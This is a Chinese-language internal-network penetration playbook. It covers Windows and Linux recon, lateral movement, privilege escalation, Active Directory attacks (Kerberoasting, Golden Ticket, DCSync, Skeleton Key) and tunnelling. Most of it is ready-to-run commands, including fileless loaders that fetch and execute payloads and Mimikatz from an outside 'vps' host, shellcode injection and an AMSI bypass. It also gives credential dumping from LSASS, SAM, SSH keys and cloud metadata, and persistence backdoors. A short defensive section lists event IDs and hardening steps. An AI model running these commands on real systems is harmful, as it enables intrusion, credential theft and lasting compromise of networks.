内网渗透实战技术深度梳理

内网渗透实战技术深度梳理

本文面向中高级渗透测试工程师,聚焦可操作的命令、工具链和攻击路径。不做名词解释,只讲怎么打。


1. 信息收集

1.1 本机指纹

# Windows — 系统/网络/用户一键收集
systeminfo & hostname & whoami /all
echo %USERDOMAIN% & echo %logonserver%
ipconfig /all & route print & netstat -ano & arp -a
net user & net localgroup administrators
net group "Domain Admins" /domain 2>nul
whoami /groups & whoami /priv
# Linux — 同等信息
uname -a; id; ip addr; ss -tunlp
cat /etc/passwd | grep -v nologin

1.2 域环境探测

net view /domain
net time /domain
nltest /dclist:corp.local
nltest /dsgetdc:corp.local
nslookup -type=SRV _ldap._tcp.dc._msdcs.corp.local
# PowerView(需导入)
Get-NetDomain; Get-NetDomainController
Get-NetUser | select samaccountname, serviceprincipalname
Get-NetGroup "Domain Admins" | select member
Get-NetComputer | select name, operatingsystem
Get-NetComputer -FullData | ? { $_.description -match "jenkins|ansible|zabbix|bastion|jump|monitor|deploy|sql|backup" }

1.3 存活发现

# ICMP 快速探测 C 段
for /L %i in (1,1,254) do @ping -n 1 -w 200 192.168.1.%i | find "TTL="

# PowerShell 端口扫描(单主机)
1..65535 | % {
    $t=New-Object Net.Sockets.TcpClient
    if($t.BeginConnect("10.0.0.5",$_,$null,$null).AsyncWaitHandle.WaitOne(200)){$_}
    $t.Close()
}
# Linux 批量端口探测
for ip in $(seq 1 254); do
  for port in 22 80 443 445 3389 1433 3306 6379 8080 2222 50000 10050 27017; do
    timeout 0.3 bash -c "echo >/dev/tcp/10.0.0.$ip/$port" 2>/dev/null && echo "10.0.0.$ip:$port"
  done
done

1.4 运维服务器定位

重点关注堡垒机、Jenkins、Ansible、Zabbix、GitLab、SCCM、备份系统。

# DNS 反查常见运维主机名
foreach($n in @("jump01","jump02","ops01","admin01","jenkins01","gitlab01","monitor01","zabbix01","ansible01")){
    try { Resolve-DnsName "$n.corp.local" -ErrorAction Stop | select Name,IPAddress } catch {}
}

# RDP 连接历史
reg query "HKCU\Software\Microsoft\Terminal Server Client\Default" /s
reg query "HKCU\Software\Microsoft\Terminal Server Client\Servers" /s
# known_hosts + bash_history 暴露管理连接
cat ~/.ssh/known_hosts /home/*/.ssh/known_hosts 2>/dev/null
grep -E "ssh |scp |mysql -h|psql -h|redis-cli -h|mongo " ~/.bash_history 2>/dev/null
grep -r "jdbc:" /opt/ /etc/ 2>/dev/null

运维端口速查

端口 服务 拿下后的直接价值
2222 JumpServer/堡垒机 全部 SSH/RDP 会话
8080 Jenkins Groovy 脚本 → 主机权限
10050 Zabbix Agent system.run[] 远程执行
443 Ansible Tower 全网节点 SSH Key
10123 SCCM Windows 批量软件分发
9392 Veeam 所有备份镜像

命名规律速查jump/bastion→堡垒机,ops/admin/mgmt→运维,jenkins/gitlab/ci→自动化平台,monitor/zabbix/prom→监控,backup/veeam→备份系统。

1.5 内网图谱构建

输出一张攻击路径图,而非一堆 IP。从四个维度聚合:

主机角色

10.10.1.0/24
├── PC01,PC02         # 办公终端
├── FILE01            # 文件服务器
├── APP01             # 应用服务器
└── DB01              # 数据库

账户分级

user01,user02         → 普通用户
ops_admin             → 运维账号(多服务器管理员)
svc_sql,svc_jenkins   → 服务账号 → Kerberoasting 目标
administrator         → 域管理员

权限传递链 — 从当前主机出发追踪可达目标:

WEB01(IIS APPPOOL)
  └─ web.config → sa:密码
      └─ DB01(MSSQL, xp_cmdshell)
          └─ linked server → svc_link
              └─ OPS01(Ansible, sudo)
                  └─ DC01

业务链路:Web层(proxy_pass) → App层(jdbc, Redis连接串) → DB层(linked servers)。

最终目标是绘制一条类似 WEB01 → DB01 → OPS01 → DC01 的可操作攻击路径,沿信任链逐跳推进。


2. 横向移动

2.1 Pass-the-Hash

# impacket 套件
impacket-psexec -hashes :<NTLM_HASH> DOMAIN/Administrator@10.0.0.5
impacket-wmiexec -hashes :<NTLM_HASH> DOMAIN/Administrator@10.0.0.5
impacket-smbexec -hashes :<NTLM_HASH> DOMAIN/Administrator@10.0.0.5  # 更隐蔽

# CrackMapExec 批量验证 + 执行
crackmapexec smb 10.0.0.0/24 -u Administrator -H <HASH>
crackmapexec smb 10.0.0.5 -u Administrator -H <HASH> -x whoami
# Mimikatz PTH
sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:<hash> /run:cmd.exe

2.2 WMI / WinRM / PsExec

# WMI 远程进程创建
wmic /node:10.0.0.5 /user:corp\Administrator /password:Passw0rd process call create "cmd.exe /c whoami"
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe" -ComputerName 10.0.0.5

# WinRM 交互式会话
Enter-PSSession -ComputerName 10.0.0.5 -Credential corp\Administrator
# Linux 侧 evil-winrm
evil-winrm -i 10.0.0.5 -u Administrator -H <NTLM_HASH>
# PsExec(会注册服务,注意留下痕迹)
PsExec.exe \\10.0.0.5 -u corp\Administrator -p Passw0rd cmd.exe
impacket-psexec corp/Administrator:Passw0rd@10.0.0.5

2.3 计划任务 / RDP 劫持

# schtasks 横向
schtasks /create /s 10.0.0.5 /tn "Update" /tr "c:\temp\payload.exe" /sc once /st 15:00 /ru SYSTEM
schtasks /run /s 10.0.0.5 /tn "Update"

# at(Windows 早期版本)
at \\10.0.0.5 15:00 cmd.exe /c "payload.exe"
# RDP 会话劫持(需要 SYSTEM)
query session
sc create rdpjacker binPath="cmd.exe /k tscon 2 /dest:console" start=auto & net start rdpjacker

2.4 无文件渗透(Living Off the Land)

核心原则:不落地 PE、利用系统自带组件、行为贴近正常运维。

LOLBin 速查

工具 用途 命令
certutil 下载 certutil -urlcache -split -f http://vps/payload.dll C:\windows\temp\1.dll
bitsadmin BITS下载 bitsadmin /transfer job http://vps/payload.exe C:\temp\1.exe
mshta 执行HTA mshta http://vps/payload.hta
regsvr32 远程SCT regsvr32 /s /u /i:http://vps/payload.sct scrobj.dll
msbuild 内联C# msbuild inline.xml(XML 内嵌 C#)
csc 编译执行 csc /out:1.exe code.cs && 1.exe
cmstp INF加载 cmstp /s /ns inf_file.inf(含 UAC 绕过)
installutil .NET DLL installutil /U malicious.dll

PowerShell 内存执行链

# 反射加载 .NET 程序集(不落地)
$d=(New-Object Net.WebClient).DownloadData('http://vps/payload.dll')
[Reflection.Assembly]::Load($d); [Payload.Program]::Main()

# Invoke-Mimikatz 内存执行
IEX (New-Object Net.WebClient).DownloadString('http://vps/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'

# Shellcode 注入
$b=(New-Object Net.WebClient).DownloadData('http://vps/shellcode.bin')
$p=[Runtime.InteropServices.Marshal]::AllocHGlobal($b.Length)
[Runtime.InteropServices.Marshal]::Copy($b,0,$p,$b.Length)
[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($p,[Func[IntPtr]]).Invoke()

WMI 无文件横向

wmic /node:10.0.0.5 /user:DOMAIN\admin /password:Passw0rd process call create "powershell -enc <BASE64>"

对抗检测

  • AMSI 绕过:[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
  • ScriptBlock Logging:注册表 HKLM\SOFTWARE\Microsoft\Windows\PowerShell\ScriptBlockLogging → 禁用
  • 进程注入到 explorer.exe / svchost.exe
  • WMI Win32_ProcessStartup 指定父进程 ID

3. 权限提升

3.1 Windows 提权向量

# 快速诊断
whoami /priv; whoami /groups
systeminfo | findstr /B /C:"OS"; wmic qfe list
场景 利用方式
SeImpersonatePrivilege PrintSpoofer.exe -i -c cmd(Server 2019+),否则 JuicyPotato.exe -t * -p cmd -l 1337
AlwaysInstallElevated=1 MSI 包装 payload → msiexec 安装
可写服务 binPath sc config VulnSvc binPath="cmd /c payload.exe" & sc start VulnSvc
服务路径引号缺失 PowerUp.ps1 → Invoke-AllChecks
UAC 绕过(管理员组非高完整性) fodhelper.exe / cmstp.exe 注册表劫持
内核漏洞 Watson / Sherlock 检测未打补丁

3.2 Linux 提权向量

# SUID
find / -perm -4000 -type f 2>/dev/null
# sudo
sudo -l
# Capabilities
getcap -r / 2>/dev/null
# Crontab
cat /etc/crontab; ls -la /etc/cron*
场景 利用方式
cap_setuid+ep 的二进制 python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'
Docker 组成员 docker run -v /:/host alpine chroot /host
NFS no_root_squash 挂载 → 写入 SUID 二进制
可写 /etc/passwd openssl passwd -1 -salt x pass123 → 追加条目
sudo --version 低版本 CVE-2021-3156(sudoedit 堆溢出)
内核提权 uname -a + searchsploit

4. 域渗透

4.1 域控定位

nltest /dclist:corp.local
nltest /dsgetdc:corp.local
nslookup -type=SRV _ldap._tcp.dc._msdcs.corp.local
Get-NetDomainController | select name

4.2 Kerberoasting / AS-REP

# Kerberoasting — 请求 SPN 用户 TGS 票据
impacket-GetUserSPNs corp.local/user:pass -request -dc-ip 10.0.0.2 -outputfile hashes.txt
hashcat -m 13100 hashes.txt wordlist.txt

# AS-REP Roasting — 不需要预认证的用户
impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.0.0.2 -format hashcat

4.3 Golden Ticket / Silver Ticket

# 获取 krbtgt hash(DCSync)
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt

# 生成并注入 Golden Ticket
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-xxx /krbtgt:<hash> /id:500 /ptt

# Silver Ticket(伪造服务 TGS,不触达 DC)
mimikatz # kerberos::golden /domain:corp.local /sid:S-1-5-21-xxx /target:dc.corp.local /service:cifs /rc4:<machine_hash> /user:Administrator /ptt

4.4 DCSync

# 冒充 DC 拉取域数据库
mimikatz # lsadump::dcsync /domain:corp.local /all /csv
impacket-secretsdump corp.local/Administrator:Passw0rd@10.0.0.2

4.5 域信任利用

nltest /domain_trusts
# 子域→父域 SID History 注入
mimikatz # kerberos::golden /user:Administrator /domain:child.corp.local /sid:子域SID /sids:父域EnterpriseAdminsSID /krbtgt:<hash> /ptt

4.6 GPO / ACL 滥用

# 定位可写 GPO 覆盖的机器
Get-NetGPO | %{Get-NetOU -GUID $_.gplink} | %{Get-NetComputer -ADSpath $_}

# AdminSDHolder — 给 backdoor 用户 ACL 特权(每小时全域同步一次)
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName backdoor -Rights All

5. 隧道与代理

工具 协议 适用场景
SSH TCP Linux 间最简单
frp TCP/UDP/HTTP 多端口转发
chisel HTTP/WS 单二进制、可过 CDN
ligolo-ng TUN 全流量透明代理
Neo-reGeorg HTTP 仅 HTTP 出网
# SSH 本地转发
ssh -L 0.0.0.0:13389:10.0.0.5:3389 user@vps
# SSH 远程转发(反向)
ssh -R 0.0.0.0:8080:127.0.0.1:80 user@vps
# SSH SOCKS 代理
ssh -D 0.0.0.0:1080 user@vps
proxychains nmap -sT -Pn 10.0.0.0/24

# chisel 反向 SOCKS
# VPS 服务端: chisel server -p 8080 --reverse
# 目标客户端: chisel client vps:8080 R:0.0.0.0:1080:socks

# proxychains 配合 impacket
proxychains4 -q crackmapexec smb 10.0.0.0/24 -u admin -H <hash>

极端不出网场景:ICMP 隧道(ptunnel)、DNS 隧道(dnscat2 / iodine)。


6. 凭证收集

6.1 Windows

# Mimikatz — LSASS dump
privilege::debug
sekurlsa::logonpasswords
sekurlsa::ekeys
lsadump::sam
lsadump::secrets
lsadump::cache
vault::list
# SAM + SYSTEM 离线提取
reg save HKLM\SAM sam.hive & reg save HKLM\SYSTEM system.hive
# 本地解析
impacket-secretsdump -sam sam.hive -system system.hive LOCAL
# 浏览器密码(需要 DPAPI)
lazagne.exe all
# RDP 缓存凭据
cmdkey /list
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
# PowerShell 历史
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

6.2 Linux

cat ~/.ssh/id_rsa /home/*/.ssh/id_rsa 2>/dev/null
grep -rn "password" /var/www/ /opt/ 2>/dev/null
grep -rn "jdbc:" /opt/ /etc/ 2>/dev/null
python3 lazagne.py all

6.3 网络嗅探

# LLMNR/NBT-NS 投毒
responder -I eth0 -wrf
# 抓到 NetNTLMv2 → hashcat -m 5600
hashcat -m 5600 hash.txt wordlist.txt

# NTLM 中继(目标无 SMB 签名时)
impacket-ntlmrelayx -tf targets.txt -smb2support -i

7. 权限维持

7.1 Windows

# 计划任务 SYSTEM 权限
schtasks /create /tn "WindowsUpdate" /tr "c:\windows\temp\payload.exe" /sc onstart /ru SYSTEM

# 服务后门
sc create "SysHelper" binPath="cmd /c payload.exe" start=auto

# 注册表 Run 键
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /t REG_SZ /d "C:\temp\payload.exe"

7.2 域持久化

# Skeleton Key — DC LSASS 注入
mimikatz # privilege::debug & misc::skeleton
# 之后可用 mimikatz 密码登录任意域账户

# DSRM 后门 — DC 本地管理员
# reg add HKLM\System\CurrentControlSet\Control\Lsa /v DSRMAdminLogonBehavior /t REG_DWORD /d 2

# Golden Ticket 长期有效(krbtgt hash 不变则一直有效)

7.3 Linux

(crontab -l 2>/dev/null; echo "*/5 * * * * /tmp/shell.sh") | crontab -
echo "ssh-rsa AAA..." >> ~/.ssh/authorized_keys
echo "nohup /tmp/backdoor &>/dev/null &" >> ~/.bashrc
# systemd 服务持久化

8. 防御检测

8.1 关键 Event ID

Event ID 含义 关注点
4624 登录成功 LogonType 3(网络)、10(RDP)
4625 登录失败 爆破
4672 特权分配 SeDebugPrivilege
4768 TGT 请求 异常加密类型
4769 服务票据请求 Kerberoasting
4688 进程创建 异常父进程链
4697 服务安装 后门
5140 网络共享访问 SMB 横向

8.2 蓝队排查命令

# 网络登录(LogonType 3)
Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4624]]" | ?{$_.Properties[8].Value -eq 3} | select -First 50

# 异常进程链
Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4688]]" | Select TimeCreated, @{N='Proc';E={$_.Properties[5].Value}}, @{N='Parent';E={$_.Properties[21].Value}}

# 计划任务变更
schtasks /query /fo LIST /v | findstr /i "TaskName Author"

# 新增服务
Get-WmiObject Win32_Service | ?{$_.StartName -ne "LocalSystem"} | Select Name,PathName,StartName

8.3 加固要点

  • LAPS:本地管理员密码唯一+轮换 → 阻断 PTH 横向
  • Credential Guard:虚拟化隔离 LSASS → Mimikatz 无法 dump 明文
  • SMB 签名:强制启用 → 阻断 NTLM Relay
  • 禁用 LLMNR/NBT-NS:阻断 Responder 投毒
  • 网络分段:管理网段/生产网段/办公网段 VLAN 隔离
  • Sysmon:细粒度进程/网络/注册表审计

9. 现代内网扩展

9.1 BloodHound 攻击路径

# 数据采集
SharpHound.exe -c All --zipfilename out.zip

关注关系:GenericAllGenericWriteWriteDACLWriteOwnerForceChangePasswordAddMemberAllowedToDelegate

查询最短路径:MATCH p=shortestPath((u:User{name:'USER@DOMAIN'})-[*1..]->(g:Group{name:'DOMAIN ADMINS@DOMAIN'})) RETURN p

9.2 ADCS 攻击(ESC1/ESC8)

# ESC1 — 申请高权限模板证书
certipy req -username user@corp.local -password pass -ca corp-CA -target ca.corp.local -template ESC1 -upn administrator@corp.local

# ESC8 — NTLM Relay 到 CA Web Enrollment
certipy relay -ca 10.0.0.5

# Shadow Credentials — KeyCredentialLink 接管
certipy shadow auto -username user@corp.local -password pass -account target_user

9.3 委派攻击

# 查找非约束委派主机
Get-NetComputer -Unconstrained

# RBCD 攻击链:
# 1. 创建机器账户(需 MachineAccountQuota > 0)
impacket-addcomputer corp.local/user:pass -computer-name FAKE01\$ -computer-pass Passw0rd
# 2. 配置 RBCD
impacket-rbcd corp.local/user:pass -delegate-from FAKE01\$ -delegate-to TARGET\$
# 3. S4U2Self + S4U2Proxy → 获取目标服务票据
impacket-getST -spn cifs/TARGET.corp.local -impersonate Administrator corp.local/FAKE01\$:Passw0rd

9.4 云环境凭证

# Metadata 服务
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# GCP
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google"

AccessKey 常见位置:.envconfig.yaml~/.aws/credentials、Jenkins 凭据存储、GitLab CI 变量、Terraform state。

9.5 Kubernetes / 容器

# ServiceAccount Token
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# Kubeconfig
cat ~/.kube/config
# Docker Socket 逃逸
docker -H unix:///var/run/docker.sock run -v /:/host alpine chroot /host
# 使用 token 访问 API Server
kubectl --token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) --server=https://kubernetes.default.svc get pods --all-namespaces

9.6 数据库作跳板

-- MSSQL xp_cmdshell
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';

-- MSSQL Linked Server 跨库
SELECT * FROM OPENQUERY("LINKED_SRV",'SELECT @@servername');
EXEC ('xp_cmdshell ''whoami''') AT "LINKED_SRV";

-- CLR Assembly 执行 .NET 代码
CREATE ASSEMBLY [CLRShell] FROM 0x4D5A900003... WITH PERMISSION_SET = UNSAFE;
# MySQL UDF 提权
# lib_mysqludf_sys.so → /usr/lib/mysql/plugin/
CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.so';
SELECT sys_exec('chmod +s /bin/bash');

9.7 Linux 横向

# SSH Agent Forwarding 利用
echo $SSH_AUTH_SOCK
ssh -o StrictHostKeyChecking=no user@next_host

# NFS no_root_squash
showmount -e 10.0.0.5
mount -t nfs 10.0.0.5:/data /tmp/nfs
# 写入 SUID 二进制 → 宿主机 root

9.8 ATT&CK 映射

技术 ID
Pass-the-Hash T1550.002
Kerberoasting T1558.003
Golden Ticket T1558.001
DCSync T1003.006
WMI T1047
WinRM T1021.006
PsExec T1021.002
Scheduled Task T1053
RDP T1021.001
SSH T1021.004
Kubernetes API T1613
Cloud Account T1078

10. 结语

现代内网渗透已从传统的”提权 → 抓密码 → 打域控”演进为身份体系 + 权限关系 + 云平台 + 容器平台 + 自动化运维之间的综合对抗。核心能力不在工具数量,而在于:快速构建信任关系图谱、识别最短信任链、锁定高价值控制节点。

改变就是好事。